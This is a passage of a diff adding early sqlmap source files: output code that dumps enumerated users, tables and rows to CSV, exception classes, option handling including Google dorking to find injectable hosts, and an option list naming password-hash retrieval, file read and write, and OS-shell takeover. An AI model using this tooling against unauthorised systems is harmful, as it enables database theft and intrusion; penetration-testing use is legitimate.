for user in users:
|
||||
settings = userSettings[user]
|
||||
|
||||
if user in self.__areAdmins:
|
||||
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
|
||||
else:
|
||||
self.__write("[*] %s [%d]:" % (user, len(settings)))
|
||||
|
||||
settings.sort()
|
||||
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
for table in tables:
|
||||
maxlength = max(maxlength, len(table))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort(key=lambda x: x.lower())
|
||||
|
||||
self.__write("Database: %s" % db)
|
||||
|
||||
if len(tables) == 1:
|
||||
self.__write("[1 table]")
|
||||
else:
|
||||
self.__write("[%d tables]" % len(tables))
|
||||
|
||||
self.__write("+%s+" % lines)
|
||||
|
||||
for table in tables:
|
||||
blank = " " * (maxlength - len(table))
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
db = "All"
|
||||
|
||||
for table, columns in tables.items():
|
||||
maxlength1 = 0
|
||||
maxlength2 = 0
|
||||
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
maxlength1 = max(maxlength1, len(column))
|
||||
maxlength2 = max(maxlength2, len(colType))
|
||||
|
||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines1 = "-" * (int(maxlength1) + 2)
|
||||
lines2 = "-" * (int(maxlength2) + 2)
|
||||
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if len(columns) == 1:
|
||||
self.__write("[1 column]")
|
||||
else:
|
||||
self.__write("[%d columns]" % len(columns))
|
||||
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
blank1 = " " * (maxlength1 - len(column))
|
||||
blank2 = " " * (maxlength2 - len(colType))
|
||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
|
||||
|
||||
if not conf.googleDork:
|
||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath, 0755)
|
||||
|
||||
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
||||
dumpFP = open(dumpFileName, "w")
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
separator = ""
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
|
||||
columns = tableValues.keys()
|
||||
columns.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
lines = "-" * (int(info["length"]) + 2)
|
||||
separator += "+%s" % lines
|
||||
|
||||
separator += "+"
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if count == 1:
|
||||
self.__write("[1 entry]")
|
||||
else:
|
||||
self.__write("[%d entries]" % count)
|
||||
|
||||
self.__write(separator)
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(column))
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.googleDork and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
for i in range(count):
|
||||
field = 1
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
value = "NULL"
|
||||
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
self.__write("%s\n" % separator)
|
||||
|
||||
if not conf.googleDork:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
dumpFP.close()
|
||||
|
||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||
|
||||
|
||||
# object to manage how to print the retrieved queries output to
|
||||
# standard output and sessions file
|
||||
dumper = Dump()
|
109
lib/core/exception.py
Normal file
109
lib/core/exception.py
Normal file
|
@ -0,0 +1,109 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
class sqlmapConnectionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapFilePathException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapGenericException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingMandatoryOptionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNoneDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapSyntaxException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedFeatureException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapValueException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "this and the following traceback and send us by email. "
|
||||
errMsg += "We will fix it as soon as possible:"
|
||||
|
||||
return errMsg
|
||||
|
||||
|
||||
exceptionsTuple = (
|
||||
sqlmapConnectionException,
|
||||
sqlmapDataException,
|
||||
sqlmapFilePathException,
|
||||
sqlmapGenericException,
|
||||
sqlmapMissingMandatoryOptionException,
|
||||
sqlmapNoneDataException,
|
||||
sqlmapRegExprException,
|
||||
sqlmapSyntaxException,
|
||||
sqlmapUndefinedMethod,
|
||||
sqlmapMissingPrivileges,
|
||||
sqlmapNotVulnerableException,
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
)
|
571
lib/core/option.py
Normal file
571
lib/core/option.py
Normal file
|
@ -0,0 +1,571 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: option.py 321M 2008-10-13 22:58:44Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
from lib.parse.queriesfile import queriesParser
|
||||
from lib.request.proxy import ProxyHTTPSHandler
|
||||
from lib.utils.google import Google
|
||||
|
||||
|
||||
authHandler = urllib2.BaseHandler()
|
||||
proxyHandler = urllib2.BaseHandler()
|
||||
|
||||
|
||||
def __urllib2Opener():
|
||||
"""
|
||||
This function creates the urllib2 OpenerDirector.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
global proxyHandler
|
||||
|
||||
debugMsg = "creating HTTP requests opener object"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = cookielib.LWPCookieJar()
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
|
||||
def __setGoogleDorking():
|
||||
"""
|
||||
This function checks if the way to request testable hosts is through
|
||||
Google dorking then requests to Google the search parameter, parses
|
||||
the results and save the testable hosts into the knowledge base.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.googleDork:
|
||||
return
|
||||
|
||||
debugMsg = "initializing Google dorking requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
logMsg = "first request to Google to get the session cookie"
|
||||
logger.info(logMsg)
|
||||
|
||||
googleObj = Google(proxyHandler)
|
||||
googleObj.getCookie()
|
||||
|
||||
matches = googleObj.search(conf.googleDork)
|
||||
|
||||
if not matches:
|
||||
errMsg = "unable to find results for your "
|
||||
errMsg += "Google dork expression"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
kb.targetUrls = googleObj.getTargetUrls()
|
||||
|
||||
if kb.targetUrls:
|
||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||
logMsg += "Google dork expression, "
|
||||
|
||||
if len(matches) == len(kb.targetUrls):
|
||||
logMsg += "all "
|
||||
else:
|
||||
logMsg += "%d " % len(kb.targetUrls)
|
||||
|
||||
logMsg += "of them are testable hosts"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "sqlmap got %d results " % len(matches)
|
||||
errMsg += "for your Google dork expression, but none of them "
|
||||
errMsg += "have GET parameters to test for SQL injection"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setRemoteDBMS():
|
||||
"""
|
||||
Checks and set the back-end DBMS option.
|
||||
"""
|
||||
|
||||
if not conf.dbms:
|
||||
return
|
||||
|
||||
debugMsg = "forcing back-end DBMS to user defined value"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
|
||||
errMsg += "Microsoft SQL Server and Oracle. If you do not know "
|
||||
errMsg += "the back-end DBMS, do not provide it and sqlmap will "
|
||||
errMsg += "fingerprint it for you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setThreads():
|
||||
if conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
||||
|
||||
def __setHTTPProxy():
|
||||
"""
|
||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.proxy:
|
||||
return
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
__proxySplit = urlparse.urlsplit(conf.proxy)
|
||||
__hostnamePort = __proxySplit[1].split(":")
|
||||
|
||||
__scheme = __proxySplit[0]
|
||||
__hostname = __hostnamePort[0]
|
||||
__port = None
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
__port = int(__hostnamePort[1])
|
||||
|
||||
if not __scheme or not __hostname or not __port:
|
||||
errMsg = "proxy value must be in format 'http://url:port'"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
__proxyString = "%s:%d" % (__hostname, __port)
|
||||
|
||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
||||
# standard library
|
||||
if conf.scheme == "https":
|
||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||
else:
|
||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic or Digest),
|
||||
username and password to perform HTTP requests with.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
|
||||
if not conf.aType and not conf.aCred:
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication type, but "
|
||||
errMsg += "did not provide the credentials"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
elif not conf.aType and conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication credentials, "
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest" ):
|
||||
errMsg = "HTTP Authentication type value must be "
|
||||
errMsg += "Basic or Digest"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP Authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authUsername = aCredRegExp.group(1)
|
||||
authPassword = aCredRegExp.group(2)
|
||||
|
||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
Check and set the HTTP method to perform HTTP requests through.
|
||||
"""
|
||||
|
||||
if conf.method:
|
||||
debugMsg = "setting the HTTP method to perform HTTP requests through"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.method = conf.method.upper()
|
||||
|
||||
if conf.method not in ("GET", "POST"):
|
||||
warnMsg = "'%s' " % conf.method
|
||||
warnMsg += "is an unsupported HTTP method, "
|
||||
warnMsg += "setting to default method, GET"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.method = "GET"
|
||||
else:
|
||||
conf.method = "GET"
|
||||
|
||||
|
||||
def __defaultHTTPUserAgent():
|
||||
"""
|
||||
@return: default sqlmap HTTP User-Agent header
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
Set the HTTP User-Agent header.
|
||||
Depending on the user options it can be:
|
||||
|
||||
* The default sqlmap string
|
||||
* A default value read as user option
|
||||
* A random value read from a list of User-Agent headers from a
|
||||
file choosed as user option
|
||||
"""
|
||||
|
||||
if conf.agent:
|
||||
debugMsg = "setting the HTTP User-Agent header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", conf.agent))
|
||||
return
|
||||
|
||||
if not conf.userAgentsFile:
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
return
|
||||
|
||||
debugMsg = "fetching random HTTP User-Agent header from "
|
||||
debugMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
fd = open(conf.userAgentsFile)
|
||||
except IOError:
|
||||
warnMsg = "unable to read HTTP User-Agent header "
|
||||
warnMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
|
||||
return
|
||||
|
||||
__count = 0
|
||||
__userAgents = []
|
||||
|
||||
while True:
|
||||
line = fd.readline()
|
||||
|
||||
if not line:
|
||||
break
|
||||
|
||||
__userAgents.append(line)
|
||||
__count += 1
|
||||
|
||||
fd.close()
|
||||
|
||||
if __count == 1:
|
||||
__userAgent = __userAgents[0]
|
||||
else:
|
||||
__userAgent = __userAgents[randomRange(stop=__count)]
|
||||
|
||||
__userAgent = sanitizeStr(__userAgent)
|
||||
conf.httpHeaders.append(("User-Agent", __userAgent))
|
||||
|
||||
logMsg = "fetched random HTTP User-Agent header from "
|
||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||
logger.info(logMsg)
|
||||
|
||||
|
||||
def __setHTTPReferer():
|
||||
"""
|
||||
Set the HTTP Referer
|
||||
"""
|
||||
|
||||
if conf.referer:
|
||||
debugMsg = "setting the HTTP Referer header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Referer", conf.referer))
|
||||
|
||||
|
||||
def __setHTTPCookies():
|
||||
"""
|
||||
Set the HTTP Cookie header
|
||||
"""
|
||||
|
||||
if conf.cookie:
|
||||
debugMsg = "setting the HTTP Cookie header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||
|
||||
|
||||
def __cleanupOptions():
|
||||
"""
|
||||
Cleanup configuration attributes.
|
||||
"""
|
||||
|
||||
debugMsg = "cleaning up configuration parameters"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if conf.testParameter:
|
||||
conf.testParameter = conf.testParameter.replace(" ", "")
|
||||
conf.testParameter = conf.testParameter.split(",")
|
||||
else:
|
||||
conf.testParameter = []
|
||||
|
||||
if conf.db:
|
||||
conf.db = conf.db.replace(" ", "")
|
||||
|
||||
if conf.tbl:
|
||||
conf.tbl = conf.tbl.replace(" ", "")
|
||||
|
||||
if conf.col:
|
||||
conf.col = conf.col.replace(" ", "")
|
||||
|
||||
if conf.user:
|
||||
conf.user = conf.user.replace(" ", "")
|
||||
|
||||
|
||||
def __setConfAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the configuration"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.scheme = None
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the knowledge base
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the knowledge base"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.defaultResult = None
|
||||
kb.docRoot = None
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.targetUrls = set()
|
||||
kb.unionComment = ""
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
|
||||
|
||||
def __saveCmdline():
|
||||
"""
|
||||
Saves the command line options on a sqlmap configuration INI file
|
||||
format.
|
||||
"""
|
||||
|
||||
if not conf.saveCmdline:
|
||||
return
|
||||
|
||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
userOpts = {}
|
||||
|
||||
for family in optDict.keys():
|
||||
userOpts[family] = []
|
||||
|
||||
for option, value in conf.items():
|
||||
for family, optionData in optDict.items():
|
||||
if option in optionData:
|
||||
userOpts[family].append((option, value, optionData[option]))
|
||||
|
||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
||||
|
||||
for family, optionData in userOpts.items():
|
||||
confFP.write("[%s]\n" % family)
|
||||
|
||||
optionData.sort()
|
||||
|
||||
for option, value, datatype in optionData:
|
||||
if value == None:
|
||||
if datatype == "boolean":
|
||||
value = "False"
|
||||
elif datatype == "integer":
|
||||
value = "1"
|
||||
elif datatype == "string":
|
||||
value = ""
|
||||
|
||||
confFP.write("%s = %s\n" % (option, value))
|
||||
|
||||
confFP.write("\n")
|
||||
|
||||
confFP.flush()
|
||||
confFP.close()
|
||||
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setVerbosity():
|
||||
"""
|
||||
This function set the verbosity of sqlmap output messages.
|
||||
"""
|
||||
|
||||
if not conf.verbose:
|
||||
conf.verbose = 0
|
||||
return
|
||||
|
||||
conf.verbose = int(conf.verbose)
|
||||
|
||||
if conf.verbose <= 1:
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose > 1 and conf.eta:
|
||||
conf.verbose = 1
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose == 2:
|
||||
logger.setLevel(logging.DEBUG)
|
||||
elif conf.verbose == 3:
|
||||
logger.setLevel(9)
|
||||
elif conf.verbose >= 4:
|
||||
logger.setLevel(8)
|
||||
|
||||
|
||||
def __mergeOptions(inputOptions):
|
||||
"""
|
||||
Merge command line options with configuration file options.
|
||||
|
||||
@param inputOptions: optparse object with command line options.
|
||||
@type inputOptions: C{instance}
|
||||
"""
|
||||
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
||||
for key, value in inputOptions.__dict__.items():
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
conf[key] = value
|
||||
|
||||
|
||||
def init(inputOptions=advancedDict()):
|
||||
"""
|
||||
Set attributes into both configuration and knowledge base singletons
|
||||
based upon command line and configuration file options.
|
||||
"""
|
||||
|
||||
__mergeOptions(inputOptions)
|
||||
__setVerbosity()
|
||||
__saveCmdline()
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setRemoteDBMS()
|
||||
__setGoogleDorking()
|
||||
__urllib2Opener()
|
||||
|
||||
update()
|
||||
queriesParser()
|
95
lib/core/optiondict.py
Normal file
95
lib/core/optiondict.py
Normal file
|
@ -0,0 +1,95 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype",
|
||||
"Request": {
|
||||
"url": "string",
|
||||
"googleDork": "string",
|
||||
"testParameter": "string",
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
"string": "string",
|
||||
"dbms": "string",
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
"getBanner": "boolean",
|
||||
"getCurrentUser": "boolean",
|
||||
"getCurrentDb": "boolean",
|
||||
"getUsers": "boolean",
|
||||
"getPasswordHashes": "boolean",
|
||||
"getPrivileges": "boolean",
|
||||
"getDbs": "boolean",
|
||||
"getTables": "boolean",
|
||||
"getColumns": "boolean",
|
||||
"dumpTable": "boolean",
|
||||
"dumpAll": "boolean",
|
||||
"user": "string",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
"osShell": "boolean",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"unionTest": "boolean",
|
||||
"unionUse": "boolean",
|
||||
"eta": "boolean",
|
||||
"verbose": "integer",
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
},
|
||||
}
|
111
lib/core/progress.py
Normal file
111
lib/core/progress.py
Normal file
|
@ -0,0 +1,111 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
